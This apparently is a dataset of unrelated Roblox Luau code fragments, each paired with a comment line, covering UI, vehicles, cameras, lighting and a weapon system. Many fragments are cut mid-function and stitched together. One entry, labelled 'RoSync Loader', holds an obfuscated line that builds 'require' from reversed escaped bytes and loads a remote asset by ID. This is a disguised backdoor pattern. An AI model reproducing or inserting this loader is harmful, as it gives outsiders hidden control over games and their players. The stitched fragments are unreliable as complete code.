if v:IsA("ImageLabel") and v:FindFirstChild("Data") then
if v.Visible == true then
items = items + 1
end
end
end
else
items = (#children) - 1
end
local frameSizeY = Frame.AbsoluteSize.Y
local ySize = UIGridLayout2.CellSize.Y.Offset
local yPadding = UIGridLayout2.CellPadding.Y.Offset
UIGridLayout2.FillDirectionMaxCells = MaxCells
local rows = math.ceil(items / UIGridLayout2.FillDirectionMaxCells)
local pixels = rows * ySize + (rows - 1) * yPadding
Frame.CanvasSize = UDim2.new(0, 0, 0, (pixels + 5))
if TradeMenuUI.Visible == false then
TradeMenuUI.Size = UDim2.new(0, 0, 0, 0)
end
end
return PetSrollingFrame
|
--!nonstrict
|
local PathDisplay = {}
PathDisplay.spacing = 8
PathDisplay.image = "rbxasset://textures/Cursors/Gamepad/Pointer.png"
PathDisplay.imageSize = Vector2.new(2, 2)
local currentPoints = {}
local renderedPoints = {}
local pointModel = Instance.new("Model")
pointModel.Name = "PathDisplayPoints"
local adorneePart = Instance.new("Part")
adorneePart.Anchored = true
adorneePart.CanCollide = false
adorneePart.Transparency = 1
adorneePart.Name = "PathDisplayAdornee"
adorneePart.CFrame = CFrame.new(0, 0, 0)
adorneePart.Parent = pointModel
local pointPool = {}
local poolTop = 30
for i = 1, poolTop do
local point = Instance.new("ImageHandleAdornment")
point.Archivable = false
point.Adornee = adorneePart
point.Image = PathDisplay.image
point.Size = PathDisplay.imageSize
pointPool[i] = point
end
local function retrieveFromPool(): ImageHandleAdornment?
local point = pointPool[1]
if not point then
return nil
end
pointPool[1], pointPool[poolTop] = pointPool[poolTop], nil
poolTop = poolTop - 1
return point
end
local function returnToPool(point: ImageHandleAdornment)
poolTop = poolTop + 1
pointPool[poolTop] = point
end
local function renderPoint(point: Vector3, isLast): ImageHandleAdornment?
if poolTop == 0 then
return nil
end
local rayDown = Ray.new(point + Vector3.new(0, 2, 0), Vector3.new(0, -8, 0))
local hitPart, hitPoint, hitNormal = workspace:FindPartOnRayWithIgnoreList(rayDown, { (game.Players.LocalPlayer :: Player).Character :: Model, workspace.CurrentCamera :: Camera })
if not hitPart then
return nil
end
local pointCFrame = CFrame.new(hitPoint, hitPoint + hitNormal)
local point = retrieveFromPool()
point.CFrame = pointCFrame
point.Parent = pointModel
return point
end
function PathDisplay.setCurrentPoints(points)
if typeof(points) == 'table' then
currentPoints = points
else
currentPoints = {}
end
end
function PathDisplay.clearRenderedPath()
for _, oldPoint in ipairs(renderedPoints) do
oldPoint.Parent = nil
returnToPool(oldPoint)
end
renderedPoints = {}
pointModel.Parent = nil
end
function PathDisplay.renderPath()
PathDisplay.clearRenderedPath()
if not currentPoints or #currentPoints == 0 then
return
end
local currentIdx = #currentPoints
local lastPos = currentPoints[currentIdx]
local distanceBudget = 0
renderedPoints[1] = renderPoint(lastPos, true)
if not renderedPoints[1] then
return
end
while true do
local currentPoint = currentPoints[currentIdx]
local nextPoint = currentPoints[currentIdx - 1]
if currentIdx < 2 then
break
else
local toNextPoint = nextPoint - currentPoint
local distToNextPoint = toNextPoint.magnitude
if distanceBudget > distToNextPoint then
distanceBudget = distanceBudget - distToNextPoint
currentIdx = currentIdx - 1
else
local dirToNextPoint = toNextPoint.unit
local pointPos = currentPoint + (dirToNextPoint * distanceBudget)
local point = renderPoint(pointPos, false)
if point then
renderedPoints[#renderedPoints + 1] = point
end
distanceBudget = distanceBudget + PathDisplay.spacing
end
end
end
pointModel.Parent = workspace.CurrentCamera
end
return PathDisplay
|
-- Import all child modules into Enums
|
for _, module in pairs( script:GetChildren() ) do
if ( not module:IsA("ModuleScript") ) then return end
assert( (not Enums[module.Name]), string.format("%s.%s already exists!", script:GetFullName(), module.Name) )
local requiredModule = require( module )
assert( typeof(requiredModule) == "table", "Enums expects modules to return a table, got" .. type(requiredModule) )
Enums[ module.Name ] = CustomEnum.new( module.Name, requiredModule )
end
|
-- Libraries
|
local Roact = require(Vendor:WaitForChild('Roact'))
local fastSpawn = require(Libraries:WaitForChild('fastSpawn'))
|
--tone hz
|
elseif sv.Value==2 then
while s.Pitch<0.67 do
s.Pitch=s.Pitch+0.010
s:Play()
if s.Pitch>0.67 then
s.Pitch=0.67
end
wait(-9)
end
while true do
for x = 1, 500 do
s:play()
wait(-9)
end
wait()
end
|
--local UserInputService = game:GetService("UserInputService")
|
local Grip = script.Parent.Grip
local Eating = false
local Bites = 0
|
--//Transmission//--
|
AmountOfGears = 7 --{Max of 8 gears}
TransmissionType = "Automatic" --{HPattern, Automatic, DualClutch, CVT}
Drivetrain = "RWD" --{RWD, FWD, AWD}
TorqueSplit = 70 --{Split to the rear wheels}
DifferentialF = 0 --{0 = Open, 1 = locked}
DifferentialR = 0.6 --{0 = Open, 1 = locked}
Gear1 = 4.60
Gear2 = 2.72
Gear3 = 1.86
Gear4 = 1.46
Gear5 = 1.23
Gear6 = 1.00
Gear7 = 0.82
Gear8 = 0.69
FinalDrive = 2.937
EngineIdle = 600
EngineRedline = 6800
|
-- Load Roblox Occlusion Modules
|
local Invisicam = require(script:WaitForChild("Invisicam"))
local Poppercam = require(script:WaitForChild("Poppercam"))
local MouseLockController = require(script:WaitForChild("MouseLockController"))
|
--Miscellaneous--
|
local player = game.Players.LocalPlayer
local carSeat = script.Parent.CarSeat.Value
local mouse = game.Players.LocalPlayer:GetMouse()
local control = script.Parent.Storage.Control
|
--!strict
|
local findOr = require(script.Parent.findOr)
local slice = require(script.Parent.slice)
local LuauPolyfill = script.Parent.Parent
local types = require(LuauPolyfill.types)
type Array<T> = types.Array<T>
local MAX_SAFE_INTEGER = require(LuauPolyfill.Number).MAX_SAFE_INTEGER
type Pattern = string | Array<string>
local function split(str: string, _pattern: Pattern?, _limit: number?): Array<string>
if _pattern == nil then
return { str }
end
if _limit == 0 then
return {}
end
local limit = if _limit == nil or _limit < 0 then MAX_SAFE_INTEGER else _limit
local pattern = _pattern
local patternList: Array<string>
if typeof(pattern) == "string" then
if pattern == "" then
local result = {}
for c in str:gmatch(".") do
table.insert(result, c)
end
return result
end
patternList = { pattern }
else
patternList = pattern :: Array<string>
end
local init = 1
local result = {}
local lastMatch
local strLen, invalidBytePosition = utf8.len(str)
assert(strLen ~= nil, ("string `%s` has an invalid byte at position %s"):format(str, tostring(invalidBytePosition)))
repeat
local match = findOr(str, patternList, init)
if match ~= nil then
table.insert(result, slice(str, init, match.index))
local matchLength = utf8.len(match.match)
-- Luau FIXME? Luau doesn't understand that str has already been shown to be valid utf8 on line 26 and therefore won't be nil
init = match.index + matchLength :: number
else
table.insert(result, slice(str, init, nil))
end
if match ~= nil then
lastMatch = match
end
until match == nil or init > strLen or #result >= limit
if lastMatch ~= nil then
local lastMatchLength, invalidBytePosition_ = utf8.len(lastMatch.match)
assert(
lastMatchLength ~= nil,
("string `%s` has an invalid byte at position %s"):format(lastMatch.match, tostring(invalidBytePosition_))
)
if lastMatch.index + lastMatchLength == strLen + 1 then
table.insert(result, "")
end
end
return result
end
return split
|
-------------------------------------------
|
local weld2 = Instance.new("Weld")
weld2.Part0 = torso
weld2.Parent = torso
weld2.Part1 = arms[2]
weld2.C1 = CFrame.new(0.5, 3,-0.4) * CFrame.fromEulerAnglesXYZ(math.rad(90),0.1,0.1)
arms[2].Name = "RDave"
arms[2].CanCollide = true
welds[2] = weld2
|
-- CONSTANTS
|
local GuiLib = script.Parent.Parent
local Lazy = require(GuiLib:WaitForChild("LazyLoader"))
local Defaults = GuiLib:WaitForChild("Defaults")
local LIST_BUTTON = Defaults:WaitForChild("ListButton")
local DEFAULT_LAYOUT = {
SortOrder = Enum.SortOrder.LayoutOrder
}
|
----------------------------------------------------------------------------------------------------
------------------=[ Status UI ]=-------------------------------------------------------------------
----------------------------------------------------------------------------------------------------
|
,EnableStatusUI = true --- Don't disabled it...
,RunWalkSpeed = 22
,NormalWalkSpeed = 16
,SlowPaceWalkSpeed = 8
,CrouchWalkSpeed = 8
,ProneWalksSpeed = 4
,EnableHunger = true --- Hunger and Thirst system
,HungerWaitTime = 25
,CanDrown = true --- Welp.. That's it
,EnableStamina = true --- Weapon Sway based on stamina
,RunValue = 1 --- Stamina consumption
,StandRecover = .25 --- Stamina recovery while stading
,CrouchRecover = .5 --- Stamina recovery while crouching
,ProneRecover = 1 --- Stamina recovery while lying
,EnableGPS = false --- GPS shows your allies around you
,GPSdistance = 150
,InteractionMenuKey = Enum.KeyCode.LeftControl
|
-- FOLDERS --
|
local Remotes = RS:WaitForChild("Remotes")
local Modules = RS:WaitForChild("Modules")
|
----------do not edit anything below this line
|
local function createMessageOnClient(msg)
game.StarterGui:SetCore("ChatMakeSystemMessage", {
Text = msg;
Font = Enum.Font.SourceSansBold;
Color = sm;
FontSize = Enum.FontSize.Size18;
})
end
if welcomeMessageOn then
createMessageOnClient(welcomeMessage)
end
if displayJoinMessage then
createMessageOnClient(game:GetService("Players").LocalPlayer.Name..joinMessage)
game:GetService('Players').PlayerAdded:Connect(function(plr)
createMessageOnClient(plr.Name..joinMessage)
end)
end
if displayLeaveMessage then
game:GetService('Players').PlayerRemoving:Connect(function(plr)
createMessageOnClient(plr.Name..leftMessage)
end)
end
|
--local ViewPort = game.Players.LocalPlayer.PlayerGui["FOSLS-UI MODIFYING"].Container.Content.AnimationSelection.Main.Preview.ViewportFrame;
| |
--[[Transmission]]
|
Tune.TransModes = {"Semi"} --[[
[Modes]
"Auto" : Automatic shifting
"Semi" : Clutchless manual shifting, dual clutch transmission
"Manual" : Manual shifting with clutch
>Include within brackets
eg: {"Semi"} or {"Auto", "Manual"}
>First mode is default mode ]]
--Automatic Settings
Tune.AutoShiftMode = "Speed" --[[
[Modes]
"Speed" : Shifts based on wheel speed
"RPM" : Shifts based on RPM ]]
Tune.AutoUpThresh = -200 --Automatic upshift point (relative to peak RPM, positive = Over-rev)
Tune.AutoDownThresh = 1400 --Automatic downshift point (relative to peak RPM, positive = Under-rev)
--Gear Ratios
Tune.FinalDrive = 4.06 -- Gearing determines top speed and wheel torque
Tune.Ratios = { -- Higher ratio = more torque, Lower ratio = higher top speed
--[[Reverse]] 4 , -- Copy and paste a ratio to add a gear
--[[Neutral]] 0 , -- Ratios can also be deleted
--[[ 1 ]] 4 , -- Reverse, Neutral, and 1st gear are required
--[[ 2 ]] 2.5 ,
--[[ 3 ]] 1.75
}
Tune.FDMult = 1.5 -- Ratio multiplier (Change this value instead of FinalDrive if car is struggling with torque ; Default = 1)
|
-- dayLength defines how long, in minutes, a day in your game is. Feel free to alter it.
|
local dayLength = 1
local cycleTime = dayLength*16
local minutesInADay = 24*60
local lighting = game:GetService("Lighting")
local startTime = tick() - (lighting:getMinutesAfterMidnight() / minutesInADay)*cycleTime
local endTime = startTime + cycleTime
local timeRatio = minutesInADay / cycleTime
if dayLength == 0 then
dayLength = 1
end
repeat
local currentTime = tick()
if currentTime > endTime then
startTime = endTime
endTime = startTime + cycleTime
end
lighting:setMinutesAfterMidnight((currentTime - startTime)*timeRatio)
wait(1/15)
until false
|
--[[-------------------------------------- REMOTE CONNECTIONS ------------------------------]]
|
--
playSoundEffectEvent.OnServerEvent:Connect(validateAndSendSoundRequest)
|
--[[
Registry - A handler for indexing and accessing objects of a single class associated
with a key
]]
|
local Registry = {}
|
--[[ Last synced 7/20/2021 08:05 RoSync Loader ]]
|
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[ ]]--
|
--Button:WaitForChild('Backdrop')
|
Button.MouseEnter:connect(function()
--Button.Icon.ImageColor3 = Color3.new(1,1,1)
Button.Label:TweenPosition(UDim2.new(0,0,.75,-2),'Out','Quint',.2,true)
Button.Icon:TweenPosition(UDim2.new(0.5,0,.4,0),'Out','Quint',.2,true)
--Button.Backdrop:TweenPosition(UDim2.new(0,0,0,0),'Out','Quint',.2,true)
end)
Button.MouseLeave:connect(function()
--Button.Icon.ImageColor3 = Color3.new(0,0,0)
Button.Label:TweenPosition(UDim2.new(0,0,1,0),'In','Back',.2,true)
Button.Icon:TweenPosition(UDim2.new(0.5,0,.5,0),'In','Back',.2,true)
--Button.Backdrop:TweenPosition(UDim2.new(0,-2,0,0),'Out','Back',.2,true)
end)
Button.Toggle.MouseButton1Click:connect(function()
if not Open then
Open = true
current = script.Parent.Parent.Menus[Button.Name]
script.Parent.Parent.Menus[Button.Name]:TweenPosition(UDim2.new(0,0,0,32),'Out','Quint',.4,true)
TransformTopBar(script.Parent.Parent.Menus[Button.Name])
end
end)
Top:WaitForChild('Exit').MouseButton1Click:connect(function()
if Open then
if Purchasing == false then
Open = false
if current.Name == 'In' then
current.RTypeBox.Selected.Value = ''
current.UsernameBox.Input.Text = ''
current.UsernameBox.Input.AutoFill.Text = ''
current.UsernameBox.Label:TweenSizeAndPosition(UDim2.new(1,0,.7,0),UDim2.new(0,0,.5,0),'Out','Quint',.2,true)
end
if current.Name == 'Out' then
current.UsernameBox.Input.Text = ''
current.UsernameBox.Input.AutoFill.Text = ''
current.UsernameBox.Label:TweenSizeAndPosition(UDim2.new(1,0,.7,0),UDim2.new(0,0,.5,0),'Out','Quint',.2,true)
end
current:TweenPosition(UDim2.new(0,0,1,32),'Out','Quint',.4,true)
TransformTopBar(script.Parent)
else
script.Parent.Parent.Menus.Purchasing:TweenPosition(UDim2.new(0,0,1,32),'Out','Quint',.4,true)
TransformTopBar(script.Parent.Parent.Menus.Help)
current = script.Parent.Parent.Menus.Help
Purchasing = false
end
end
end)
end
Top.Search.MouseButton1Up:connect(function()
if current then
current:TweenPosition(UDim2.new(0,0,1,32),'Out','Quint',.4,true)
TransformTopBar(script.Parent.Parent.Menus.Help)
if current.Name == 'In' then
current.RTypeBox.Selected.Value = ''
current.UsernameBox.Input.Text = ''
current.UsernameBox.Input.AutoFill.Text = ''
current.UsernameBox.Label:TweenSizeAndPosition(UDim2.new(1,0,.7,0),UDim2.new(0,0,.5,0),'Out','Quint',.2,true)
end
if current.Name == 'Out' then
current.UsernameBox.Input.Text = ''
current.UsernameBox.Input.AutoFill.Text = ''
current.UsernameBox.Label:TweenSizeAndPosition(UDim2.new(1,0,.7,0),UDim2.new(0,0,.5,0),'Out','Quint',.2,true)
end
end
current = script.Parent.Parent.Menus.Help
TransformTopBar(script.Parent.Parent.Menus.Help)
Open = true
current:TweenPosition(UDim2.new(0,0,0,32),'Out','Quint',.4,true)
Top.Exit.MouseButton1Up:connect(function()
if Open then
Open = false
current:TweenPosition(UDim2.new(0,0,1,32),'Out','Quint',.4,true)
TransformTopBar(script.Parent)
end
end)
end)
script.Parent.Parent.Menus:WaitForChild('Help'):WaitForChild('buy'):WaitForChild('Toggle').MouseButton1Up:connect(function()
if current == script.Parent.Parent.Menus.Help then
script.Parent.Parent.Menus.Purchasing:TweenPosition(UDim2.new(0,0,0,32),'Out','Quint',.4,true)
Purchasing = true
--current = script.Parent.Parent.Menus.Purchasing
end
end)
|
------------------------------------------
|
gui.Track.Text = radio.TName.Value
radio.TName.Changed:connect(function()
gui.Track.Text = radio.TName.Value
end)
gui.Stop.MouseButton1Click:connect(function()
if radio.Stopped.Value == false then
radio.Stopped.Value = true
end
end)
gui.Pause.MouseButton1Click:connect(function()
if radio.Paused.Value == false and radio.Stopped.Value == false then
radio.Paused.Value = true
end
end)
gui.Play.MouseButton1Click:connect(function()
if radio.Stopped.Value == true then
radio.Play.Value = not radio.Play.Value
else
if radio.Paused.Value == true then
radio.Paused.Value = false
end
end
end)
gui.Forward.MouseButton1Click:connect(function()
local n = radio.Track.Value+1
if n>#radio.Songs:GetChildren() then
n = 1
end
radio.Track.Value = n
end)
gui.Back.MouseButton1Click:connect(function()
local n = radio.Track.Value-1
if n<=0 then
n = #radio.Songs:GetChildren()
end
radio.Track.Value = n
end)
gui.AutoplayOn.MouseButton1Click:connect(function()
if radio.Autoplay.Value == true then
radio.Autoplay.Value = false
end
end)
gui.AutoplayOff.MouseButton1Click:connect(function()
if radio.Autoplay.Value == false then
radio.Autoplay.Value = true
end
end)
gui.List.MouseButton1Click:connect(function()
gui.Menu.Visible=not gui.Menu.Visible
end)
gui.Id.MouseButton1Click:connect(function()
gui.IdPlayer.Visible=not gui.IdPlayer.Visible
if gui.IdPlayer.Visible then gui.Id.Rotation=180 else gui.Id.Rotation=0 end
end)
gui.IdPlayer.Play.MouseButton1Click:connect(function()
if radio.IdPlay.Value==gui.IdPlayer.TextBox.Text then
radio.IdPlay.Value=""
wait()
end
radio.IdPlay.Value=gui.IdPlayer.TextBox.Text
end)
for i,v in pairs(gui.Menu:GetChildren()) do
v.MouseButton1Click:connect(function()
radio.Track.Value = i
end)
end
function Stopped()
if radio.Stopped.Value == true then
gui.Pause.Visible = false
gui.Play.Visible = true
else
gui.Play.Visible = false
gui.Pause.Visible = true
end
end
function Paused()
if radio.Paused.Value == true then
gui.Pause.Visible = false
gui.Play.Visible = true
else
if radio.Stopped.Value == false then
gui.Play.Visible = false
gui.Pause.Visible = true
end
end
end
function Autoplay()
if radio.Autoplay.Value == true then
gui.AutoplayOff.Visible = false
gui.AutoplayOn.Visible = true
else
gui.AutoplayOn.Visible = false
gui.AutoplayOff.Visible = true
end
end
radio.Stopped.Changed:connect(Stopped)
radio.Paused.Changed:connect(Paused)
radio.Autoplay.Changed:connect(Autoplay)
Stopped()
Paused()
Autoplay()
while wait(.5) do
if seat:FindFirstChild("SeatWeld") == nil then
script.Parent:Destroy()
end
end
|
-- Note: Called whenever workspace.CurrentCamera changes, but also on initialization of this script
|
function CameraModule:OnCurrentCameraChanged()
local currentCamera = game.Workspace.CurrentCamera
if not currentCamera then return end
if self.cameraSubjectChangedConn then
self.cameraSubjectChangedConn:Disconnect()
end
if self.cameraTypeChangedConn then
self.cameraTypeChangedConn:Disconnect()
end
self.cameraSubjectChangedConn = currentCamera:GetPropertyChangedSignal("CameraSubject"):Connect(function()
self:OnCameraSubjectChanged(currentCamera.CameraSubject)
end)
self.cameraTypeChangedConn = currentCamera:GetPropertyChangedSignal("CameraType"):Connect(function()
self:OnCameraTypeChanged(currentCamera.CameraType)
end)
self:OnCameraSubjectChanged(currentCamera.CameraSubject)
self:OnCameraTypeChanged(currentCamera.CameraType)
end
function CameraModule:OnLocalPlayerCameraPropertyChanged(propertyName)
if propertyName == "CameraMode" then
-- CameraMode is only used to turn on/off forcing the player into first person view. The
-- Note: The case "Classic" is used for all other views and does not correspond only to the ClassicCamera module
if Players.LocalPlayer.CameraMode == Enum.CameraMode.LockFirstPerson then
-- Locked in first person, use ClassicCamera which supports this
if not self.activeCameraController or self.activeCameraController:GetModuleName() ~= "ClassicCamera" then
self:ActivateCameraController(CameraUtils.ConvertCameraModeEnumToStandard(Enum.DevComputerCameraMovementMode.Classic))
end
if self.activeCameraController then
self.activeCameraController:UpdateForDistancePropertyChange()
end
elseif Players.LocalPlayer.CameraMode == Enum.CameraMode.Classic then
-- Not locked in first person view
local cameraMovementMode = self:GetCameraMovementModeFromSettings()
self:ActivateCameraController(CameraUtils.ConvertCameraModeEnumToStandard(cameraMovementMode))
else
warn("Unhandled value for property player.CameraMode: ",Players.LocalPlayer.CameraMode)
end
elseif propertyName == "DevComputerCameraMode" or
propertyName == "DevTouchCameraMode" then
local cameraMovementMode = self:GetCameraMovementModeFromSettings()
self:ActivateCameraController(CameraUtils.ConvertCameraModeEnumToStandard(cameraMovementMode))
elseif propertyName == "DevCameraOcclusionMode" then
self:ActivateOcclusionModule(Players.LocalPlayer.DevCameraOcclusionMode)
elseif propertyName == "CameraMinZoomDistance" or propertyName == "CameraMaxZoomDistance" then
if self.activeCameraController then
self.activeCameraController:UpdateForDistancePropertyChange()
end
elseif propertyName == "DevTouchMovementMode" then
elseif propertyName == "DevComputerMovementMode" then
elseif propertyName == "DevEnableMouseLock" then
-- This is the enabling/disabling of "Shift Lock" mode, not LockFirstPerson (which is a CameraMode)
-- Note: Enabling and disabling of MouseLock mode is normally only a publish-time choice made via
-- the corresponding EnableMouseLockOption checkbox of StarterPlayer, and this script does not have
-- support for changing the availability of MouseLock at runtime (this would require listening to
-- Player.DevEnableMouseLock changes)
end
end
function CameraModule:OnUserGameSettingsPropertyChanged(propertyName)
if propertyName == "ComputerCameraMovementMode" then
local cameraMovementMode = self:GetCameraMovementModeFromSettings()
self:ActivateCameraController(CameraUtils.ConvertCameraModeEnumToStandard(cameraMovementMode))
end
end
|
--Copy the following code from line #3-39 and paste it in the command bar. Then press enter.
|
local function regionPaintPart(p, yC, padding)
--[[each part is divided into smaller regions (each with a size of 4x4 studs) since some parts are rotated and regions cant be rotated]]
padding = padding or 0
local s = p.Size+Vector3.new(padding*2,0,padding*2)
for x=1, s.X/3 do
for z=1, s.Z/3 do
if ((z+x)%200)==0 then
wait()
end
local p2c = CFrame.new(p.CFrame:PointToWorldSpace(Vector3.new(x*3,yC,z*3)-Vector3.new(s.X/2,0,s.Z/2)))
local p2s = Vector3.new(5,5,5)
local r = Region3.new(p2c:PointToWorldSpace(-Vector3.new(p2s.X/2,5,p2s.Z/2)), p2c:PointToWorldSpace(Vector3.new(p2s.X/2,5,p2s.Z/2)))
workspace.Terrain:ReplaceMaterial(r:ExpandToGrid(4) ,4,Enum.Material.Grass, Enum.Material.LeafyGrass)
end
end
end
local function FixGrassPart(p, pad)
regionPaintPart(p, 0, pad)
end
local function FixAllGrassParts(pad)
for _, v in pairs(workspace:GetDescendants()) do
if v:IsA("BasePart") and not v:IsA("MeshPart") and not v:IsA("Terrain") and v.Size.Y < 10 then
print(v)
if (_%100)==0 then
wait() --[[Waits every 100 parts so it doesn't freeze studio]]
end
FixGrassPart(v, pad)
end
end
print('FINISHED')
end
wait()
FixAllGrassParts(2)
|
-- obtain goals based on Center part
|
center.BodyPosition.position = beacon.Center.Position
teamColor = center.Color
vel = center.BodyVelocity
healerIsResting = false
function restHealer()
healerIsResting = true
wait(5)
healerIsResting = false
end
function joinTeam(humanoid)
local team = Instance.new("Color3Value")
team.Value = teamColor
team.Name = "Team"
team.Parent = humanoid
humanoid.Torso.Color = teamColor
humanoid.Torso.Reflectance = 0.2
humanoid.LeftLeg.Color = teamColor
humanoid.LeftLeg.Reflectance = 0.2
humanoid.RightLeg.Color = teamColor
humanoid.RightLeg.Reflectance = 0.2
end
function onTouchHumanoid(humanoid)
local team = humanoid:findFirstChild("Team", false)
if team==nil then
joinTeam(humanoid)
elseif team.Value~=teamColor then
-- Harm the enemy!
humanoid.Health = 0
return
end
if not healerIsResting then
-- Heal the player
humanoid.Health = humanoid.Health + 50
coroutine.resume(coroutine.create(restHealer))
end
end
goingUp = false
function goUp(speed)
if goingUp then
return
end
goingUp = true
vel.velocity = Vector3.new(0,speed,0)
wait(20/speed)
vel.velocity = Vector3.new(0,-2,0)
goingUp = false
end
function onTouch(touchedPart)
-- see if a character touched it
local parent = touchedPart.Parent
if parent~=nill then
local humanoid = parent:findFirstChild("Humanoid", false);
if humanoid ~= nill then
onTouchHumanoid(humanoid)
goUp(10)
return
end
end
-- change direction
if touchedPart.Position.y > beacon.Center.Position.y then
vel.velocity = Vector3.new(0,-2,0)
goingUp = false
elseif touchedPart.Position.y < beacon.Center.Position.y then
goUp(2)
end
end
function connectPart(part)
part.Color = teamColor
part.Touched:connect(onTouch)
end
|
-- ROBLOX deviation: we're using the TypeScript definition here, which is more strict
|
export type ReactElement<P = Object, T = any> = {
["$$typeof"]: number,
-- ROBLOX FIXME Luau: Luau has some trouble and inlining the type param from createElement doesn't help
type: React_StatelessFunctionalComponent<P> | React_ComponentType<P> | string,
-- type: T,
key: Key | nil,
ref: any,
props: P,
-- ROBLOX deviation: upstream has this as interface, which is extensible, Luau types are closed by default
-- ReactFiber
_owner: any,
-- __DEV__
_store: any?,
_self: React_Element<any>?,
_shadowChildren: any?,
_source: Source?,
}
|
--// Char Parts
|
local Humanoid = char:WaitForChild('Humanoid')
local Head = char:WaitForChild('Head')
local Torso = char:WaitForChild('Torso')
local HumanoidRootPart = char:WaitForChild('HumanoidRootPart')
local RootJoint = HumanoidRootPart:WaitForChild('RootJoint')
local Neck = Torso:WaitForChild('Neck')
local Right_Shoulder = Torso:WaitForChild('Right Shoulder')
local Left_Shoulder = Torso:WaitForChild('Left Shoulder')
local Right_Hip = Torso:WaitForChild('Right Hip')
local Left_Hip = Torso:WaitForChild('Left Hip')
local YOffset = Neck.C0.Y
local WaistYOffset = Neck.C0.Y
local CFNew, CFAng = CFrame.new, CFrame.Angles
local Asin = math.asin
local T = 0.15
User.MouseIconEnabled = true
plr.CameraMode = Enum.CameraMode.Classic
cam.CameraType = Enum.CameraType.Custom
cam.CameraSubject = Humanoid
if gameRules.TeamTags then
local tag = Essential.TeamTag:clone()
tag.Parent = char
tag.Disabled = false
end
function handleAction(actionName, inputState, inputObject)
if actionName == "Fire" and inputState == Enum.UserInputState.Begin and AnimDebounce then
Shoot()
if WeaponData.Type == "Grenade" then
CookGrenade = true
Grenade()
end
elseif actionName == "Fire" and inputState == Enum.UserInputState.End then
mouse1down = false
CookGrenade = false
end
if actionName == "Reload" and inputState == Enum.UserInputState.Begin and AnimDebounce and not CheckingMag and not reloading then
if WeaponData.Jammed then
Jammed()
else
Reload()
end
end
if actionName == "Reload" and inputState == Enum.UserInputState.Begin and reloading and WeaponData.ShellInsert then
CancelReload = true
end
if actionName == "CycleLaser" and inputState == Enum.UserInputState.Begin and LaserAtt then
SetLaser()
end
if actionName == "CycleLight" and inputState == Enum.UserInputState.Begin and TorchAtt then
SetTorch()
end
if actionName == "CycleFiremode" and inputState == Enum.UserInputState.Begin and WeaponData and WeaponData.FireModes.ChangeFiremode then
Firemode()
end
if actionName == "CycleAimpart" and inputState == Enum.UserInputState.Begin then
SetAimpart()
end
if actionName == "ZeroUp" and inputState == Enum.UserInputState.Begin and WeaponData and WeaponData.EnableZeroing then
if WeaponData.CurrentZero < WeaponData.MaxZero then
WeaponInHand.Handle.Click:play()
WeaponData.CurrentZero = math.min(WeaponData.CurrentZero + WeaponData.ZeroIncrement, WeaponData.MaxZero)
UpdateGui()
end
end
if actionName == "ZeroDown" and inputState == Enum.UserInputState.Begin and WeaponData and WeaponData.EnableZeroing then
if WeaponData.CurrentZero > 0 then
WeaponInHand.Handle.Click:play()
WeaponData.CurrentZero = math.max(WeaponData.CurrentZero - WeaponData.ZeroIncrement, 0)
UpdateGui()
end
end
if actionName == "CheckMag" and inputState == Enum.UserInputState.Begin and not CheckingMag and not reloading and not runKeyDown and AnimDebounce then
CheckMagFunction()
end
if actionName == "ToggleBipod" and inputState == Enum.UserInputState.Begin and CanBipod then
BipodActive = not BipodActive
UpdateGui()
end
if actionName == "NVG" and inputState == Enum.UserInputState.Begin and not NVGdebounce then
if not plr.Character then return; end;
local helmet = plr.Character:FindFirstChild("Helmet")
if not helmet then return; end;
local nvg = helmet:FindFirstChild("Up")
if not nvg then return; end;
NVGdebounce = true
delay(.8,function()
NVG = not NVG
Evt.NVG:Fire(NVG)
NVGdebounce = false
end)
end
if actionName == "ADS" and inputState == Enum.UserInputState.Begin and AnimDebounce then
if WeaponData and WeaponData.canAim and GunStance > -2 and not runKeyDown and not CheckingMag then
aimming = not aimming
ADS(aimming)
end
if WeaponData.Type == "Grenade" then
GrenadeMode()
end
end
if actionName == "Stand" and inputState == Enum.UserInputState.Begin and ChangeStance and not Swimming and not Sentado and not runKeyDown and not ACS_Client:GetAttribute("Collapsed") then
if Stances == 2 then
Crouched = true
Proned = false
Stances = 1
CameraY = -1
Crouch()
elseif Stances == 1 then
Crouched = false
Stances = 0
CameraY = 0
Stand()
end
end
if actionName == "Crouch" and inputState == Enum.UserInputState.Begin and ChangeStance and not Swimming and not Sentado and not runKeyDown and not ACS_Client:GetAttribute("Collapsed") then
if Stances == 0 then
Stances = 1
CameraY = -1
Crouch()
Crouched = true
elseif Stances == 1 then
Stances = 2
CameraX = 0
CameraY = -3.25
Virar = 0
Lean()
Prone()
Crouched = false
Proned = true
end
end
if actionName == "ToggleWalk" and inputState == Enum.UserInputState.Begin and ChangeStance and not runKeyDown then
Steady = not Steady
SE_GUI.MainFrame.Poses.Steady.Visible = Steady
if Stances == 0 then
Stand()
end
end
if actionName == "LeanLeft" and inputState == Enum.UserInputState.Begin and Stances ~= 2 and ChangeStance and not Swimming and not runKeyDown and CanLean and not ACS_Client:GetAttribute("Collapsed") then
if Virar == 0 or Virar == 1 then
Virar = -1
CameraX = -1.25
else
Virar = 0
CameraX = 0
end
Lean()
end
if actionName == "LeanRight" and inputState == Enum.UserInputState.Begin and Stances ~= 2 and ChangeStance and not Swimming and not runKeyDown and CanLean and not ACS_Client:GetAttribute("Collapsed") then
if Virar == 0 or Virar == -1 then
Virar = 1
CameraX = 1.25
else
Virar = 0
CameraX = 0
end
Lean()
end
if actionName == "Run" and inputState == Enum.UserInputState.Begin and running and not script.Parent:GetAttribute("Injured") then
mouse1down = false
runKeyDown = true
Stand()
Stances = 0
Virar = 0
CameraX = 0
CameraY = 0
Lean()
char:WaitForChild("Humanoid").WalkSpeed = gameRules.RunWalkSpeed
if aimming then
aimming = false
ADS(aimming)
end
if not CheckingMag and not reloading and WeaponData and WeaponData.Type ~= "Grenade" and (GunStance == 0 or GunStance == 2 or GunStance == 3) then
GunStance = 3
Evt.GunStance:FireServer(GunStance,AnimData)
SprintAnim()
end
elseif actionName == "Run" and inputState == Enum.UserInputState.End and runKeyDown then
runKeyDown = false
Stand()
if not CheckingMag and not reloading and WeaponData and WeaponData.Type ~= "Grenade" and (GunStance == 0 or GunStance == 2 or GunStance == 3) then
GunStance = 0
Evt.GunStance:FireServer(GunStance,AnimData)
IdleAnim()
end
end
end
function resetMods()
ModTable.camRecoilMod.RecoilUp = 1
ModTable.camRecoilMod.RecoilLeft = 1
ModTable.camRecoilMod.RecoilRight = 1
ModTable.camRecoilMod.RecoilTilt = 1
ModTable.gunRecoilMod.RecoilUp = 1
